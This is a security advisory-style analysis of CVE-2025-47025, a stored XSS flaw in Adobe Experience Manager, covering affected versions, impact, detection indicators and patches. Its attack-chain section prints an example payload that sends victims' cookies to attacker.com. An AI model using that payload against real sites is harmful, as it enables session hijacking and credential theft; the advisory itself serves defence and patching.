CVE-2025-47025: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47025 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch advisory released by Adobe. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. A low-privileged attacker can inject malicious JavaScript into vulnerable form fields within AEM; the payload is stored server-side and executed in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires network access, low privileges, and user interaction (a victim browsing to the affected page), but no special configuration or elevated permissions beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute unauthorized JavaScript in a victim's browser, potentially leading to session token theft, credential harvesting, unauthorized page content manipulation, or redirection to malicious sites. The scope is changed (cross-origin impact), meaning the injected script can affect resources beyond the attacker's own session. Confidentiality and integrity are both rated as low impact, with no direct availability impact; however, chained with other vulnerabilities or social engineering, the risk to sensitive user data and account integrity can be significant (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47025. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify a target AEM instance running version 6.5.22 or earlier (on-premises) or AEM Cloud Service prior to 2025.5.0. Obtain a low-privileged authenticated account on the platform.
2. Identify vulnerable form fields: Browse the AEM authoring interface to locate form fields that accept and store user-supplied input without adequate sanitization or output encoding.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/submit the form.
4. Payload persistence: The malicious script is stored server-side within AEM's content repository.
5. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the compromised field, the stored JavaScript executes in their browser, enabling session hijacking, credential theft, or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) from low-privileged user accounts.
• File System / Content Repository: Unexpected JavaScript content stored in AEM JCR (Java Content Repository) nodes associated with form fields or page components.
• Network: Outbound browser requests from victim sessions to unknown external domains shortly after visiting AEM-authored pages; potential exfiltration of cookie or session data to attacker-controlled endpoints.
• Logs: Browser-side console errors or network requests to suspicious domains logged in web application firewall (WAF) or proxy logs following user visits to specific AEM pages.

Adobe has released patched versions addressing this vulnerability: AEM on-premises users should upgrade to 6.5.23.0 or later, and AEM Cloud Service users should update to 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding on all form fields, restrict low-privileged user access to sensitive authoring interfaces, and deploy a WAF with XSS filtering rules. Monitoring for unauthorized script injection in content repositories is also recommended (Adobe Advisory).

The vulnerability was noted by CIS (Center for Internet Security) in a multi-vulnerability advisory covering Adobe products, and was tracked by Tenable in their plugin pipeline. No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE beyond standard aggregation by vulnerability databases and security advisories (CIS Advisory).